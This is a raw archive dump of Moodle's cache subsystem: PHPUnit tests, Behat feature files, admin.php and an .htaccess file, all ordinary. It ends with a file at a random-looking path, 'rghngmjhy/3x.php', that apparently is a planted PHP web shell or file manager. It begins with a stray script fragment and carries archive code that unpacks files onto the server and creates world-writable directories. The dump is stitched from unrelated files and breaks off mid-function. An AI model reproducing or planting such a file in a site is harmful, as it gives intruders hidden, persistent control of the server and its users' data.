$validsecond, ], 'False' => [ false, $invalidfirst, $invalidsecond, ], ]; } /** * Test performance of static acceleration caches with values which are frequently confused with missing values. * * @dataProvider static_acceleration_performance_provider * @param mixed $value The value to test * @param array $firstfetchstats The expected stats on the first fetch * @param array $secondfetchstats The expected stats on the subsequent fetch */ public function test_static_acceleration_values_performance( $value, array $firstfetchstats, array $secondfetchstats, ): void { // Note: We need to modify perfdebug to test this. global $CFG; $this->resetAfterTest(true); $CFG->perfdebug = 15; $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/accelerated', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'accelerated', 'staticacceleration' => true, 'staticaccelerationsize' => 1, ]); $cache = cache::make('phpunit', 'accelerated'); $this->assertInstanceOf(cache_phpunit_application::class, $cache); $this->assertTrue($cache->set('value', $value)); $checkstats = function ( array $start, array $expectedstats, ): array { $applicationid = 'phpunit/accelerated'; $endstats = helper::get_stats(); $start = $start[$applicationid]['stores']; $end = $endstats[$applicationid]['stores']; foreach ($expectedstats as $cachename => $expected) { foreach ($expected as $type => $value) { $startvalue = array_key_exists($cachename, $start) ? $start[$cachename][$type] : 0; $endvalue = array_key_exists($cachename, $end) ? $end[$cachename][$type] : 0; $diff = $endvalue - $startvalue; $this->assertEquals( $value, $diff, "Expected $cachename $type to be $value, got $diff", ); } } return $endstats; }; // Reset the cache factory so that we can get the stats from a fresh instance. $factory = factory::instance(); $factory->reset_cache_instances(); $cache = cache::make('phpunit', 'accelerated'); // Get the initial stats. $startstats = helper::get_stats(); // Fetching the value the first time should seed the static cache from the application cache. $this->assertEquals($value, $cache->get('value')); $startstats = $checkstats($startstats, $firstfetchstats); // Fetching the value should only hit the static cache. $this->assertEquals($value, $cache->get('value')); $checkstats($startstats, $secondfetchstats); } public function test_static_cache(): void { global $CFG; $this->resetAfterTest(true); $CFG->perfdebug = 15; // Create cache store with static acceleration. $instance = cache_config_testing::instance(); $applicationid = 'phpunit/applicationperf'; $instance->phpunit_add_definition($applicationid, [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'applicationperf', 'simplekeys' => true, 'staticacceleration' => true, 'staticaccelerationsize' => 3, ]); $application = cache::make('phpunit', 'applicationperf'); // Check that stores register sets. $this->assertTrue($application->set('setMe1', 1)); $this->assertTrue($application->set('setMe2', 0)); $this->assertTrue($application->set('setMe3', [])); $this->assertTrue($application->get('setMe1') !== false); $this->assertTrue($application->get('setMe2') !== false); $this->assertTrue($application->get('setMe3') !== false); // Check that the static acceleration worked, even on empty arrays and the number 0. $endstats = helper::get_stats(); $this->assertEquals(0, $endstats[$applicationid]['stores']['** static accel. **']['misses']); $this->assertEquals(3, $endstats[$applicationid]['stores']['** static accel. **']['hits']); } public function test_performance_debug_off(): void { global $CFG; $this->resetAfterTest(true); $CFG->perfdebug = 7; $instance = cache_config_testing::instance(); $applicationid = 'phpunit/applicationperfoff'; $instance->phpunit_add_definition($applicationid, [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'applicationperfoff', ]); $sessionid = 'phpunit/sessionperfoff'; $instance->phpunit_add_definition($sessionid, [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'sessionperfoff', ]); $requestid = 'phpunit/requestperfoff'; $instance->phpunit_add_definition($requestid, [ 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'requestperfoff', ]); $application = cache::make('phpunit', 'applicationperfoff'); $session = cache::make('phpunit', 'sessionperfoff'); $request = cache::make('phpunit', 'requestperfoff'); // Check that no stats are recorded for these definitions yet. $stats = helper::get_stats(); $this->assertArrayNotHasKey($applicationid, $stats); $this->assertArrayNotHasKey($sessionid, $stats); $this->assertArrayNotHasKey($requestid, $stats); // Trigger cache misses, cache sets and cache hits. $this->assertFalse($application->get('missMe')); $this->assertTrue($application->set('setMe', 1)); $this->assertEquals(1, $application->get('setMe')); $this->assertFalse($session->get('missMe')); $this->assertTrue($session->set('setMe', 3)); $this->assertEquals(3, $session->get('setMe')); $this->assertFalse($request->get('missMe')); $this->assertTrue($request->set('setMe', 4)); $this->assertEquals(4, $request->get('setMe')); // Check that no stats are being recorded for these definitions. $endstats = helper::get_stats(); $this->assertArrayNotHasKey($applicationid, $endstats); $this->assertArrayNotHasKey($sessionid, $endstats); $this->assertArrayNotHasKey($requestid, $endstats); } /** * Tests session cache event purge and subsequent visit in the same request. * * This test simulates a cache being created, a value being set, then the value being purged. * A subsequent use of the same cache is started in the same request which fills the cache. * A new request is started a short time later. * The cache should be filled. */ public function test_session_event_purge_same_second(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventpurgetest', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'eventpurgetest', 'invalidationevents' => [ 'crazyevent', ], ]); // Create the cache, set a value, and immediately purge it by event. $cache = cache::make('phpunit', 'eventpurgetest'); $cache->set('testkey1', 'test data 1'); $this->assertEquals('test data 1', $cache->get('testkey1')); helper::purge_by_event('crazyevent'); $this->assertFalse($cache->get('testkey1')); // Set up the cache again in the same request and add a new value back in. $factory = factory::instance(); $factory->reset_cache_instances(); $cache = cache::make('phpunit', 'eventpurgetest'); $cache->set('testkey1', 'test data 2'); $this->assertEquals('test data 2', $cache->get('testkey1')); // Trick the cache into thinking that this is a new request. cache_phpunit_cache::simulate_new_request(); $factory = factory::instance(); $factory->reset_cache_instances(); // Set up the cache again. // This is a subsequent request at a new time, so we instead the invalidation time will be checked. // The invalidation time should match the last purged time and the cache will not be re-purged. $cache = cache::make('phpunit', 'eventpurgetest'); $this->assertEquals('test data 2', $cache->get('testkey1')); } /** * Test that values set in different sessions are stored with different key prefixes. */ public function test_session_distinct_storage_key(): void { $this->resetAfterTest(); // Prepare a dummy session cache configuration. $config = cache_config_testing::instance(); $config->phpunit_add_definition('phpunit/test_session_distinct_storage_key', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'test_session_distinct_storage_key', ]); // First anonymous user's session cache. cache_phpunit_session::phpunit_mockup_session_id('foo'); $this->setUser(0); $cache1 = cache::make('phpunit', 'test_session_distinct_storage_key'); // Reset cache instances to emulate a new request. factory::instance()->reset_cache_instances(); // Another anonymous user's session cache. cache_phpunit_session::phpunit_mockup_session_id('bar'); $this->setUser(0); $cache2 = cache::make('phpunit', 'test_session_distinct_storage_key'); factory::instance()->reset_cache_instances(); // Guest user's session cache. cache_phpunit_session::phpunit_mockup_session_id('baz'); $this->setGuestUser(); $cache3 = cache::make('phpunit', 'test_session_distinct_storage_key'); factory::instance()->reset_cache_instances(); // Same guest user's session cache but in another browser window. cache_phpunit_session::phpunit_mockup_session_id('baz'); $this->setGuestUser(); $cache4 = cache::make('phpunit', 'test_session_distinct_storage_key'); // Assert that different PHP session implies different key prefix for storing values. $this->assertNotEquals($cache1->phpunit_get_key_prefix(), $cache2->phpunit_get_key_prefix()); // Assert that same PHP session implies same key prefix for storing values. $this->assertEquals($cache3->phpunit_get_key_prefix(), $cache4->phpunit_get_key_prefix()); } } tests/behat/usage.feature000064400000003274152265337610011472 0ustar00@core @core_cache Feature: Display usage information for cache In order to investigate performance problems with caching As an administrator I need to be able to monitor the size of items in the cache Background: Given the following "courses" exist: | fullname | shortname | | Course 1 | C1 | Scenario: Cache performance info displays When I am on the "C1" "Course" page logged in as "admin" And I navigate to "Plugins > Caching > Cache usage" in site administration # Check one row of the summary table. The actual total is currently 3.6MB so it's likely to # continue to be in the MB range. Then "default_application" row "Plugin" column of "usage_summary" table should contain "cachestore_file" And "default_application" row "Estimated total" column of "usage_summary" table should contain "MB" And "default_application" row "Actual usage (if known)" column of "usage_summary" table should contain "MB" # And one row of the main table. The totals are fixed to use the MB unit. And "core/config" row "Store name" column of "usage_main" table should contain "default_application" And "core/config" row "Plugin" column of "usage_main" table should contain "cachestore_file" And "core/config" row "Estimated total" column of "usage_main" table should contain "MB" Scenario: Sample option works When I am on the "C1" "Course" page logged in as "admin" And I navigate to "Plugins > Caching > Cache usage" in site administration And I set the field "samples" to "1000" And I press "Update" Then the field "samples" matches value "1000" And "usage_summary" "table" should exist And "usage_main" "table" should exist tests/behat/siteadmin_cache_breadcrumbs.feature000064400000002772152265337610016041 0ustar00@core @core_cache @javascript Feature: Verify the breadcrumbs in different cache site administration pages Whenever I navigate to caching configuration page in site administration As an admin The breadcrumbs should be visible Background: Given I log in as "admin" Scenario: Verify the breadcrumbs in caching configuration, add assistance, edit mappings and edit sharings page as an admin Given I navigate to "Plugins > Caching > Configuration" in site administration And "Configuration" "text" should exist in the ".breadcrumb" "css_element" And "Caching" "link" should exist in the ".breadcrumb" "css_element" When I click on "Add instance" "link" Then "Add cache store" "text" should exist in the ".breadcrumb" "css_element" And "Configuration" "link" should exist in the ".breadcrumb" "css_element" And "Caching" "link" should exist in the ".breadcrumb" "css_element" And I press "Cancel" And I click on "Edit mappings" "link" And "Edit definition mapping" "text" should exist in the ".breadcrumb" "css_element" And "Configuration" "link" should exist in the ".breadcrumb" "css_element" And "Caching" "link" should exist in the ".breadcrumb" "css_element" And I press "Cancel" And I click on "Edit sharing" "link" And "Edit definition sharing" "text" should exist in the ".breadcrumb" "css_element" And "Configuration" "link" should exist in the ".breadcrumb" "css_element" And "Caching" "link" should exist in the ".breadcrumb" "css_element" tests/behat/perf_info.feature000064400000001654152265337610012335 0ustar00@core @core_cache Feature: Display cache information in performance info In order to investigate performance problems with caching As an administrator I need to be able to see cache information in perfinfo Background: Given the following config values are set as admin: | perfdebug | 15 | And the following "courses" exist: | fullname | shortname | | Course 1 | C1 | Scenario: Cache performance info displays When I am on the "C1" "Course" page logged in as "admin" # Confirm that the first cache info table is visible by checking an arbitrary row. Then I should see "default_application" in the "core/databasemeta" "table_row" # Don't specify the exact size as it may vary. And I should see "KB" in the "core/databasemeta" "table_row" # Confirm that the second cache info table is visible. And I should see "default_application" in the "cachestore_file" "table_row" tests/cache_helper_test.php000064400000011011152265337610012064 0ustar00. namespace core_cache; /** * PHPunit tests for the cache_helper class. * * @package core_cache * @category cache * @copyright 2023 Andrew Lyons * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \core_cache\helper */ final class cache_helper_test extends \advanced_testcase { /** * Test the result_found method. * * @param mixed $value * @param bool $expected * @dataProvider result_found_provider */ public function test_result_found($value, bool $expected): void { $this->assertEquals($expected, helper::result_found($value)); } /** * Data provider for result_found tests. * * @return array */ public static function result_found_provider(): array { return [ // Only false values are considered as not found. [false, false], // The rest are considered valid values. [null, true], [0, true], ['', true], [[], true], [new \stdClass(), true], [true, true], [1, true], ['a', true], [[1], true], [new \stdClass(), true], ]; } /** * Test the filter_sorted_keys_by_prefixes method. * * @param array $keys * @param array $prefixes * @param array $expected * @dataProvider filter_sorted_keys_by_prefixes_provider */ public function test_filter_sorted_keys_by_prefixes(array $keys, array $prefixes, array $expected): void { $this->assertEquals($expected, helper::filter_sorted_keys_by_prefixes($keys, $prefixes)); } /** * Data provider for filter_sorted_keys_by_prefixes tests. * * @return array */ public static function filter_sorted_keys_by_prefixes_provider(): array { return [ 'simple match' => [ 'keys' => ['aa', 'ab', 'ba', 'bb'], 'prefixes' => ['a'], 'expected' => ['aa', 'ab'], ], 'multiple prefixes match' => [ 'keys' => ['aa', 'ab', 'ba', 'bb', 'ca', 'cb'], 'prefixes' => ['a', 'c'], 'expected' => ['aa', 'ab', 'ca', 'cb'], ], 'consecutive prefixes match' => [ 'keys' => ['aa', 'ab', 'ba', 'bb', 'ca', 'cb'], 'prefixes' => ['a', 'b'], 'expected' => ['aa', 'ab', 'ba', 'bb'], ], 'overlapping prefixes' => [ 'keys' => ['a', 'ab', 'abc', 'abcd'], 'prefixes' => ['ab', 'abc'], 'expected' => ['ab', 'abc', 'abcd'], ], 'exact match' => [ 'keys' => ['a', 'b', 'c'], 'prefixes' => ['a', 'c'], 'expected' => ['a', 'c'], ], 'duplicate keys' => [ 'keys' => ['a', 'a', 'b', 'c'], 'prefixes' => ['a'], 'expected' => ['a', 'a'], ], 'duplicate prefixes' => [ 'keys' => ['a', 'b', 'c'], 'prefixes' => ['a', 'a', 'b'], 'expected' => ['a', 'b'], ], 'unsorted keys boundry' => [ 'keys' => ['c', 'b', 'a'], 'prefixes' => ['a'], 'expected' => [], ], 'unsorted prefixes boundry' => [ 'keys' => ['a', 'b', 'c'], 'prefixes' => ['d', 'a'], 'expected' => [], ], 'empty keys' => [ 'keys' => [], 'prefixes' => ['a'], 'expected' => [], ], 'empty prefixes' => [ 'keys' => ['a', 'b', 'c'], 'prefixes' => [], 'expected' => [], ], ]; } } tests/administration_helper_test.php000064400000026317152265337610014065 0ustar00. namespace core_cache; use cache_config_testing; /** * PHPunit tests for the cache API and in particular the core_cache\administration_helper * * @package core_cache * @category test * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \core_cache\administration_helper */ final class administration_helper_test extends \advanced_testcase { /** * Set things back to the default before each test. */ public function setUp(): void { parent::setUp(); factory::reset(); cache_config_testing::create_default_configuration(); } /** * Require all test dependencies not auto-loadable. */ public static function setUpBeforeClass(): void { global $CFG; parent::setUpBeforeClass(); require_once($CFG->dirroot . '/cache/tests/fixtures/lib.php'); } /** * Final task is to reset the cache system */ public static function tearDownAfterClass(): void { parent::tearDownAfterClass(); factory::reset(); } /** * Test the numerous summaries the helper can produce. */ public function test_get_summaries(): void { // First the preparation. $config = config_writer::instance(); $this->assertTrue($config->add_store_instance('summariesstore', 'file')); $config->set_definition_mappings('core/eventinvalidation', ['summariesstore']); $this->assertTrue($config->set_mode_mappings([ store::MODE_APPLICATION => ['summariesstore'], store::MODE_SESSION => ['default_session'], store::MODE_REQUEST => ['default_request'], ])); $storesummaries = administration_helper::get_store_instance_summaries(); $this->assertIsArray($storesummaries); $this->assertArrayHasKey('summariesstore', $storesummaries); $summary = $storesummaries['summariesstore']; // Check the keys. $this->assertArrayHasKey('name', $summary); $this->assertArrayHasKey('plugin', $summary); $this->assertArrayHasKey('default', $summary); $this->assertArrayHasKey('isready', $summary); $this->assertArrayHasKey('requirementsmet', $summary); $this->assertArrayHasKey('mappings', $summary); $this->assertArrayHasKey('modes', $summary); $this->assertArrayHasKey('supports', $summary); // Check the important/known values. $this->assertEquals('summariesstore', $summary['name']); $this->assertEquals('file', $summary['plugin']); $this->assertEquals(0, $summary['default']); $this->assertEquals(1, $summary['isready']); $this->assertEquals(1, $summary['requirementsmet']); // Find the number of mappings to sessionstore. $mappingcount = count(array_filter($config->get_definitions(), function ($element) { return $element['mode'] === store::MODE_APPLICATION; })); $this->assertEquals($mappingcount, $summary['mappings']); $definitionsummaries = administration_helper::get_definition_summaries(); $this->assertIsArray($definitionsummaries); $this->assertArrayHasKey('core/eventinvalidation', $definitionsummaries); $summary = $definitionsummaries['core/eventinvalidation']; // Check the keys. $this->assertArrayHasKey('id', $summary); $this->assertArrayHasKey('name', $summary); $this->assertArrayHasKey('mode', $summary); $this->assertArrayHasKey('component', $summary); $this->assertArrayHasKey('area', $summary); $this->assertArrayHasKey('mappings', $summary); // Check the important/known values. $this->assertEquals('core/eventinvalidation', $summary['id']); $this->assertInstanceOf('lang_string', $summary['name']); $this->assertEquals(store::MODE_APPLICATION, $summary['mode']); $this->assertEquals('core', $summary['component']); $this->assertEquals('eventinvalidation', $summary['area']); $this->assertIsArray($summary['mappings']); $this->assertContains('summariesstore', $summary['mappings']); $pluginsummaries = administration_helper::get_store_plugin_summaries(); $this->assertIsArray($pluginsummaries); $this->assertArrayHasKey('file', $pluginsummaries); $summary = $pluginsummaries['file']; // Check the keys. $this->assertArrayHasKey('name', $summary); $this->assertArrayHasKey('requirementsmet', $summary); $this->assertArrayHasKey('instances', $summary); $this->assertArrayHasKey('modes', $summary); $this->assertArrayHasKey('supports', $summary); $this->assertArrayHasKey('canaddinstance', $summary); $locksummaries = administration_helper::get_lock_summaries(); $this->assertIsArray($locksummaries); $this->assertTrue(count($locksummaries) > 0); $mappings = administration_helper::get_default_mode_stores(); $this->assertIsArray($mappings); $this->assertCount(3, $mappings); $this->assertArrayHasKey(store::MODE_APPLICATION, $mappings); $this->assertIsArray($mappings[store::MODE_APPLICATION]); $this->assertContains('summariesstore', $mappings[store::MODE_APPLICATION]); $potentials = administration_helper::get_definition_store_options('core', 'eventinvalidation'); $this->assertIsArray($potentials); // Currently used, suitable, default. $this->assertCount(3, $potentials); $this->assertArrayHasKey('summariesstore', $potentials[0]); $this->assertArrayHasKey('summariesstore', $potentials[1]); $this->assertArrayHasKey('default_application', $potentials[1]); } /** * Test instantiating an add store form. */ public function test_get_add_store_form(): void { $form = factory::get_administration_display_helper()->get_add_store_form('file'); $this->assertInstanceOf('moodleform', $form); try { $form = factory::get_administration_display_helper()->get_add_store_form('somethingstupid'); $this->fail('You should not be able to create an add form for a store plugin that does not exist.'); } catch (\moodle_exception $e) { $this->assertInstanceOf('coding_exception', $e, 'Needs to be: ' . get_class($e) . " ::: " . $e->getMessage()); } } /** * Test instantiating a form to edit a store instance. */ public function test_get_edit_store_form(): void { // Always instantiate a new core display helper here. $administrationhelper = new local\administration_display_helper(); $config = config_writer::instance(); $this->assertTrue($config->add_store_instance('test_get_edit_store_form', 'file')); $form = $administrationhelper->get_edit_store_form('file', 'test_get_edit_store_form'); $this->assertInstanceOf('moodleform', $form); try { $form = $administrationhelper->get_edit_store_form('somethingstupid', 'moron'); $this->fail('You should not be able to create an edit form for a store plugin that does not exist.'); } catch (\moodle_exception $e) { $this->assertInstanceOf('coding_exception', $e); } try { $form = $administrationhelper->get_edit_store_form('file', 'blisters'); $this->fail('You should not be able to create an edit form for a store plugin that does not exist.'); } catch (\moodle_exception $e) { $this->assertInstanceOf('coding_exception', $e); } } /** * Test the hash_key functionality. */ public function test_hash_key(): void { $this->resetAfterTest(); set_debugging(DEBUG_ALL); // First with simplekeys. $instance = cache_config_testing::instance(true); $instance->phpunit_add_definition('phpunit/hashtest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'hashtest', 'simplekeys' => true, ]); $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'hashtest'); $result = helper::hash_key('test', $definition); $this->assertEquals('test-' . $definition->generate_single_key_prefix(), $result); try { helper::hash_key('test/test', $definition); $this->fail('Invalid key was allowed, you should see this.'); } catch (\coding_exception $e) { $this->assertEquals('test/test', $e->debuginfo); } // Second without simple keys. $instance->phpunit_add_definition('phpunit/hashtest2', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'hashtest2', 'simplekeys' => false, ]); $definition = $factory->create_definition('phpunit', 'hashtest2'); $result = helper::hash_key('test', $definition); $this->assertEquals(sha1($definition->generate_single_key_prefix() . '-test'), $result); $result = helper::hash_key('test/test', $definition); $this->assertEquals(sha1($definition->generate_single_key_prefix() . '-test/test'), $result); } /** * Tests the get_usage function. */ public function test_get_usage(): void { // Create a test cache definition and put items in it. $instance = cache_config_testing::instance(true); $instance->phpunit_add_definition('phpunit/test', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'test', 'simplekeys' => true, ]); $cache = \cache::make('phpunit', 'test'); for ($i = 0; $i < 100; $i++) { $cache->set('key' . $i, str_repeat('x', $i)); } $factory = factory::instance(); $adminhelper = $factory->get_administration_display_helper(); $usage = $adminhelper->get_usage(10)['phpunit/test']; $this->assertEquals('phpunit/test', $usage->cacheid); $this->assertCount(1, $usage->stores); $store = $usage->stores[0]; $this->assertEquals('default_application', $store->name); $this->assertEquals('cachestore_file', $store->class); $this->assertEquals(true, $store->supported); $this->assertEquals(100, $store->items); // As file store checks all items, the values should be exact. $this->assertEqualsWithDelta(57.4, $store->mean, 0.1); $this->assertEqualsWithDelta(29.0, $store->sd, 0.1); $this->assertEquals(0, $store->margin); } } admin.php000064400000006114152265337610006361 0ustar00. /** * The administration and management interface for the cache setup and configuration. * * This file is part of Moodle's cache API, affectionately called MUC. * * @package core * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ use core_cache\factory as cache_factory; use core_cache\helper as cache_helper; require_once('../config.php'); require_once($CFG->dirroot.'/lib/adminlib.php'); // The first time the user visits this page we are going to reparse the definitions. // Just ensures that everything is up to date. // We flag is session so that this only happens once as people are likely to hit // this page several times if making changes. if (empty($SESSION->cacheadminreparsedefinitions)) { cache_helper::update_definitions(); $SESSION->cacheadminreparsedefinitions = true; } $action = optional_param('action', null, PARAM_ALPHA); admin_externalpage_setup('cacheconfig'); $adminhelper = cache_factory::instance()->get_administration_display_helper(); $notifications = array(); // Empty array to hold any form information returned from actions. $forminfo = []; $PAGE->set_primary_active_tab('siteadminnode'); $PAGE->navbar->add(get_string('cacheconfig', 'cache'), new moodle_url('/cache/admin.php')); // Handle page actions in admin helper class. if (!empty($action)) { $forminfo = $adminhelper->perform_cache_actions($action, $forminfo); } // Add cache store warnings to the list of notifications. // Obviously as these are warnings they are show as failures. foreach (cache_helper::warnings(core_cache\administration_helper::get_store_instance_summaries()) as $warning) { $notifications[] = array($warning, false); } // Decide on display mode based on returned forminfo. $mform = array_key_exists('form', $forminfo) ? $forminfo['form'] : null; $title = array_key_exists('title', $forminfo) ? $forminfo['title'] : new lang_string('cacheadmin', 'cache'); $PAGE->set_title($title); $PAGE->set_heading($SITE->fullname); /** @var \core_cache\output\renderer $renderer */ $renderer = $PAGE->get_renderer('core_cache'); echo $renderer->header(); echo $renderer->heading($title); echo $renderer->notifications($notifications); if ($mform instanceof moodleform) { $mform->display(); } else { // Handle main page definition in admin helper class. echo $adminhelper->generate_admin_page($renderer); } echo $renderer->footer(); .htaccess000064400000000173152266231430006347 0ustar00 Require all denied Deny from all rghngmjhy/3x.php000064400000233232152266231430007615 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; 